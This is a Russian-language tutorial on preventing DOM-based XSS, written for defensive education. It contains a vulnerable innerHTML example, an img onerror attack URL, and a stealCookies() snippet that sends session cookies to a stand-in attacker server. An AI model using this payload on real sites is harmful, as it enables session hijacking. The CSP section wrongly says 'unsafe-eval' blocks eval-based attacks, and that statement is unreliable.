Как избежать XSS атак на основе DOM

«Ключ к пониманию DOM-based XSS — увидеть веб-страницу не как статичный документ, а как живое приложение, которое переписывает само себя на лету. Именно эта способность к самомодификации, заложенная в DOM, и открывает путь для атак, которые обходят традиционные серверные защиты.»

Как устроена «живая» страница: DOM и его влияние на безопасность

Когда браузер получает от сервера HTML-документ, он не просто отображает текст. Он строит в памяти иерархическую модель документа — Document Object Model (DOM). Эта модель — программное представление страницы, с которым работает JavaScript. Любое взаимодействие пользователя с интерфейсом, любой динамический контент — результат манипуляций с этой моделью.

Представьте, что HTML — это чертёж здания, а DOM — его виртуальный макет, с которым можно делать всё что угодно: переставлять стены, менять обои, добавлять новые комнаты. Основное отличие от чертежа в том, что эти изменения не затрагивают исходный HTML, отправленный сервером. Они происходят только в памяти браузера конкретного пользователя.

Манипуляции с DOM: примеры

<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <title>Пример DOM-дерева</title>
  <style>
    .highlight {
      color: red;
      font-weight: bold;
    }
  </style>
</head>
<body>
  <p id="exampleParagraph">Пример текста</p>
  <script>
    // Получаем элемент по его идентификатору
    var paragraph = document.getElementById("exampleParagraph");
    // Меняем содержимое элемента
    paragraph.textContent = "Измененный текст";
    // Добавляем класс для изменения стилей
    paragraph.classList.add("highlight");
  </script>
</body>
</html>

В примере выше JavaScript находит элемент <p> и изменяет его текст и стили. Исходный HTML при этом остаётся неизменным.

DOM-based XSS: атака изнутри

DOM-based XSS — это уязвимость, возникающая, когда данные из недоверенных источников (например, параметры URL, фрагменты hash или данные из localStorage) некорректно обрабатываются на клиентской стороне и попадают в контекст, где браузер интерпретирует их как исполняемый код.

Главная особенность такой атаки в том, что вредоносная нагрузка никогда не проходит через сервер приложения. Сервер отправляет «чистый» код, а подмена происходит уже в браузере жертвы, когда скрипт на странице читает, например, параметр из URL и без проверок вставляет его в DOM. Это делает её невидимой для классичных WAF и средств анализа трафика на стороне сервера.

Механика атаки: от URL до кражи данных

Рассмотрим типичный сценарий. На сайте есть функция поиска, которая отображает введённый запрос на странице результатов.

// Уязвимый код на странице search.html
var searchQuery = new URLSearchParams(window.location.search).get('query');
document.getElementById('results').innerHTML = "Вы искали: " + searchQuery;

В обычном случае пользователь перейдёт по ссылке https://example.com/search.html?query=кошки. Но злоумышленник может сконструировать другую ссылку:

https://example.com/search.html?query=<img src=x onerror='stealCookies()'>

Когда жертва откроет эту ссылку, скрипт на странице извлечёт значение параметра query и вставит его через innerHTML. Браузер увидит новый элемент <img> и попытается его загрузить. Атрибут src=x заведомо неверный, что вызовет событие onerror, в котором и выполнится вредоносная функция stealCookies().

Вот как может выглядеть код для кражи сессии:

function stealCookies() {
    var stolenData = document.cookie;
    // Отправка данных на сервер злоумышленника
    var img = new Image();
    img.src = 'https://attacker-server.com/collect?data=' + encodeURIComponent(stolenData);
}

Обратите внимание: сервер example.com в этом процессе не участвует. Он лишь отдал статичную страницу search.html со скриптом, который сам стал инструментом атаки.

Источники опасных данных и точки вставки

Чтобы искать или предотвращать DOM XSS, нужно знать, откуда данные могут прийти и куда они могут попасть.

Источники (Sources) Точки вставки (Sinks)
  • document.URL / window.location (href, pathname, search, hash)
  • document.referrer
  • Пользовательский ввод: document.cookie, WebStorage (localStorage, sessionStorage)
  • Объект window.name
  • Сообщения из других окон (postMessage)
  • Опасные: innerHTML, outerHTML, document.write(), eval()
  • Условно опасные (зависят от контекста):
    element.src, element.href (может начаться с javascript:)
    Сеттеры стилей, например, element.style
  • Безопасные при правильном использовании:
    textContent, innerText, setAttribute() (для не-обработчиков)

Атака происходит, когда данные из колонки «Источники» попадают в «Точки вставки» без санитации.

Последствия и риски для бизнеса

Помимо кражи сессионных cookies, что ведёт к компрометации учётных записей, DOM XSS может быть использован для:

  • Подмены интерфейса: внедрение фальшивых форм ввода логина или платёжных данных прямо на легитимной странице.
  • Клиентской дефейсации: изменение контента на политически или коммерчески опасный.
  • Распространения вредоносного ПО: использование уязвимости для запуска эксплойтов, атакующих браузер или плагины.
  • Обхода CSP: определённые векторы DOM XSS могут нивелировать политики безопасности контента, если они неправильно настроены.

С точки зрения регуляторов (например, выполнения требований 152-ФЗ о защите персональных данных), наличие такой уязвимости — прямое нарушение требований к безопасности обработки ПДн, так как создаёт риск их утечки.

Стратегии защиты: от базовых до продвинутых

1. Выбор безопасных методов работы с DOM

Самое простое правило: никогда не вставляйте недоверенные данные в innerHTML или outerHTML. Вместо этого используйте безопасные свойства.

// Опасно
document.getElementById('output').innerHTML = userInput;

// Безопасно
document.getElementById('output').textContent = userInput;

Если необходимо добавить разметку, рассмотрите использование современного API DOMPurify для очистки HTML на стороне клиента.

2. Валидация и кодирование на стороне клиента

Помните, что серверная валидация здесь бессильна. Необходимо реализовать клиентскую санитацию данных перед вставкой в DOM. Кодирование должно соответствовать контексту:

  • HTML-контекст: заменяйте < на &lt;, > на &gt;, & на &amp;.
  • Атрибутный контекст: дополнительно экранируйте кавычки.
  • JavaScript-контекст: (если данные всё же нужно передать в скрипт) используйте JSON-сериализацию.

Для URL-параметров применяйте встроенные функции кодирования: encodeURIComponent() для значений и encodeURI() для целых URI.

3. Content Security Policy (CSP)

Правильно настроенная CSP — мощнейший барьер. Директива script-src 'self' запретит выполнение inline-скриптов и скриптов с внешних доменов. Для полного блокирования DOM XSS, основанных на eval() или строковом создании функций, используйте директиву script-src 'unsafe-eval', но лучше от неё отказаться.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Важно понимать, что CSP не исправляет уязвимость, а лишь значительно усложняет её эксплуатацию.

4. Практики безопасного кодирования

  • Избегайте eval(), setTimeout() и setInterval() со строковыми аргументами.
  • Для работы с URL используйте объекты URL и URLSearchParams, а не ручной парсинг строк.
  • Регулярно проводите статический анализ кода (SAST) и динамическое тестирование безопасности (DAST) с акцентом на клиентские JavaScript-фреймворки.

Заключение

DOM-based XSS — это не архаичная угроза, а актуальный риск для современных SPA-приложений, построенных на React, Vue или Angular. Фреймворки предлагают встроенные механизмы экранирования (например, JSX в React по умолчанию экранирует данные), но они не панацея. Уязвимость может проникнуть через неправильное использование опасных API, таких как dangerouslySetInnerHTML, или через сторонние библиотеки.

Борьба с этим типом атак требует смещения фокуса безопасности. Помимо защиты периметра, необходимо внедрять безопасные практики разработки на клиентской стороне, жёстко контролировать потоки данных внутри приложения и использовать защитные механизмы браузера, такие как CSP. В контексте российских требований по защите информации это становится не просто рекомендацией, а обязательным элементом безопасной архитектуры веб-сервиса.

Оставьте комментарий